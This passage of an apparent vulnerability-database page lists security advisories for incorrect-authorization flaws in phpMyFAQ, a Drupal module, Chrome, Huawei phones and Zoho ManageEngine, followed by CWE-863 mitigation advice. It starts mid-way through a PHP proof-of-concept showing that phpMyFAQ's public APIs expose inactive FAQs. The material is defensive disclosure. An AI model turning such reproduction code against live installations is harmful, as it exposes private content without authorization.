FROM faqtags WHERE tagging_id = %d\u0027, $tagId));\n    pocQuery($db, sprintf(\u0027DELETE FROM faqdata_user WHERE record_id = %d\u0027, $faqId));\n    pocQuery($db, sprintf(\u0027DELETE FROM faqdata_group WHERE record_id = %d\u0027, $faqId));\n    pocQuery($db, sprintf(\u0027DELETE FROM faqvisits WHERE id = %d\u0027, $faqId));\n    pocQuery($db, sprintf(\u0027DELETE FROM faqcategoryrelations WHERE record_id = %d\u0027, $faqId));\n    pocQuery($db, sprintf(\u0027DELETE FROM faqdata WHERE id = %d\u0027, $faqId));\n\n    pocQuery($db, sprintf(\n        \"INSERT INTO faqdata\n            (id, lang, solution_id, revision_id, active, sticky, keywords, thema, content, author, email, comment, updated, date_start, date_end, created, notes, sticky_order)\n         VALUES\n            (%d, \u0027en\u0027, %d, 0, \u0027no\u0027, 0, \u0027probe\u0027, \u0027%s\u0027, \u0027%s\u0027, \u0027Probe\u0027, \u0027probe@example.test\u0027, \u0027y\u0027, \u002720260601010101\u0027, \u002700000000000000\u0027, \u002799991231235959\u0027, \u00272026-06-01 01:01:01\u0027, \u0027\u0027, 0)\",\n        $faqId,\n        $faqId,\n        $db-\u003eescape($question),\n        $db-\u003eescape($answer),\n    ));\n    pocQuery($db, sprintf(\n        \"INSERT INTO faqcategoryrelations (category_id, category_lang, record_id, record_lang)\n         VALUES (%d, \u0027en\u0027, %d, \u0027en\u0027)\",\n        $categoryId,\n        $faqId,\n    ));\n    pocQuery($db, sprintf(\u0027INSERT INTO faqdata_user (record_id, user_id) VALUES (%d, -1)\u0027, $faqId));\n    pocQuery($db, sprintf(\"INSERT INTO faqvisits (id, lang, visits, last_visit) VALUES (%d, \u0027en\u0027, 0, 20260601010101)\", $faqId));\n    pocQuery($db, sprintf(\"INSERT INTO faqtags (tagging_id, tagging_name) VALUES (%d, \u0027probe-private-414\u0027)\", $tagId));\n    pocQuery($db, sprintf(\u0027INSERT INTO faqdata_tags (record_id, tagging_id) VALUES (%d, %d)\u0027, $faqId, $tagId));\n\n    $controller = new FaqController();\n\n    $categoryRequest = Request::create(\u0027/api/v3.1/faqs/\u0027 . $categoryId, \u0027GET\u0027);\n    $categoryRequest-\u003eattributes-\u003eset(\u0027categoryId\u0027, (string) $categoryId);\n    $categoryResponse = $controller-\u003egetByCategoryId($categoryRequest);\n    $categoryContainsProbe = str_contains((string) $categoryResponse-\u003egetContent(), $question);\n\n    $directRequest = Request::create(\u0027/api/v3.1/faq/\u0027 . $categoryId . \u0027/\u0027 . $faqId, \u0027GET\u0027);\n    $directRequest-\u003eattributes-\u003eset(\u0027categoryId\u0027, (string) $categoryId);\n    $directRequest-\u003eattributes-\u003eset(\u0027faqId\u0027, (string) $faqId);\n    $directResponse = $controller-\u003egetById($directRequest);\n    $directContainsProbe = str_contains((string) $directResponse-\u003egetContent(), $question)\n        \u0026\u0026 str_contains((string) $directResponse-\u003egetContent(), $answer);\n\n    $tagRequest = Request::create(\u0027/api/v3.1/faqs/tags/\u0027 . $tagId, \u0027GET\u0027);\n    $tagRequest-\u003eattributes-\u003eset(\u0027tagId\u0027, (string) $tagId);\n    $tagResponse = $controller-\u003egetByTagId($tagRequest);\n    $tagPayload = json_decode((string) $tagResponse-\u003egetContent(), true, 512, JSON_THROW_ON_ERROR);\n    $tagContainsProbe = str_contains((string) $tagResponse-\u003egetContent(), $question)\n        \u0026\u0026 str_contains((string) $tagResponse-\u003egetContent(), \u0027inactive FAQ preview\u0027);\n\n    echo \"phpMyFAQ version: \" . System::getVersion() . \"\\n\";\n    echo \"Inserted FAQ: id={$faqId}, active=no, anonymous-readable, category={$categoryId}, tag={$tagId}\\n\\n\";\n    echo \"GET /api/v3.1/faqs/{$categoryId} status: \" . $categoryResponse-\u003egetStatusCode() . \"\\n\";\n    echo \"Category response contains inactive title: \" . ($categoryContainsProbe ? \u0027yes\u0027 : \u0027no\u0027) . \"\\n\\n\";\n    echo \"GET /api/v3.1/faq/{$categoryId}/{$faqId} status: \" . $directResponse-\u003egetStatusCode() . \"\\n\";\n    echo \"Direct-by-id response contains inactive full title+answer: \" . ($directContainsProbe ? \u0027yes\u0027 : \u0027no\u0027) . \"\\n\\n\";\n    echo \"GET /api/v3.1/faqs/tags/{$tagId} status: \" . $tagResponse-\u003egetStatusCode() . \"\\n\";\n    echo \"Tag response contains inactive title+preview: \" . ($tagContainsProbe ? \u0027yes\u0027 : \u0027no\u0027) . \"\\n\";\n    echo json_encode($tagPayload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . \"\\n\\n\";\n\n    if (!$categoryContainsProbe \u0026\u0026 $directContainsProbe \u0026\u0026 $tagContainsProbe) {\n        echo \"VERDICT: reproduced inactive FAQ exposure through public API controller paths.\\n\";\n        exit(0);\n    }\n\n    echo \"VERDICT: not reproduced.\\n\";\n    exit(1);\n} finally {\n    if (isset($tempDb) \u0026\u0026 is_file($tempDb)) {\n        @unlink($tempDb);\n    }\n}\n\n~~~",
  "id": "GHSA-mf8r-wm2w-f8c5",
  "modified": "2026-08-25T17:30:23Z",
  "published": "2026-08-25T17:30:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-mf8r-wm2w-f8c5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/4c7e3f841ba6cb25564c6802509a669b0e328321"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/tree/4.1.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ public FAQ APIs expose inactive FAQ content"
}

GHSA-MFGG-FX8Q-M7QH

Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37
VLAI
Details

The REST/JSON project 7.x-1.x for Drupal allows field access bypass, aka SA-CONTRIB-2016-033. NOTE: This project is not covered by Drupal's security advisory policy.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-20004"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-01T01:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The REST/JSON project 7.x-1.x for Drupal allows field access bypass, aka SA-CONTRIB-2016-033. NOTE: This project is not covered by Drupal\u0027s security advisory policy.",
  "id": "GHSA-mfgg-fx8q-m7qh",
  "modified": "2022-05-24T17:37:32Z",
  "published": "2022-05-24T17:37:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-20004"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/node/2744889"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-MFGP-GPWR-M28R

Vulnerability from github – Published: 2026-08-25 21:31 – Updated: 2026-08-28 21:30
VLAI
Details

Incorrect authorization in Device in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-79003"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T21:17:55Z",
    "severity": "MODERATE"
  },
  "details": "Incorrect authorization in Device in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)",
  "id": "GHSA-mfgp-gpwr-m28r",
  "modified": "2026-08-28T21:30:56Z",
  "published": "2026-08-25T21:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79003"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/08/stable-channel-update-for-desktop_0256176589.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/522791354"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MFHC-7XHV-PH2R

Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-07-13 00:01
VLAI
Details

There is an Improper Access Control vulnerability in Huawei Smartphone. Successful exploitation of this vulnerability may cause app redirections.

Severity
7.4 (High)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-22334"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-03T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is an Improper Access Control vulnerability in Huawei Smartphone. Successful exploitation of this vulnerability may cause app redirections.",
  "id": "GHSA-mfhc-7xhv-ph2r",
  "modified": "2022-07-13T00:01:09Z",
  "published": "2022-05-24T19:03:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22334"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2021/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MFQ3-8XP6-5MJ3

Vulnerability from github – Published: 2022-11-12 12:00 – Updated: 2025-05-01 15:31
VLAI
Details

Zoho ManageEngine ServiceDesk Plus MSP before 10609 and SupportCenter Plus before 11025 are vulnerable to privilege escalation. This allows users to obtain sensitive data during an export of requests from the list view.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-40773"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-12T04:15:00Z",
    "severity": "HIGH"
  },
  "details": "Zoho ManageEngine ServiceDesk Plus MSP before 10609 and SupportCenter Plus before 11025 are vulnerable to privilege escalation. This allows users to obtain sensitive data during an export of requests from the list view.",
  "id": "GHSA-mfq3-8xp6-5mj3",
  "modified": "2025-05-01T15:31:31Z",
  "published": "2022-11-12T12:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40773"
    },
    {
      "type": "WEB",
      "url": "https://www.manageengine.com/products/service-desk-msp/cve-2022-40773.html"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-22-1490"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list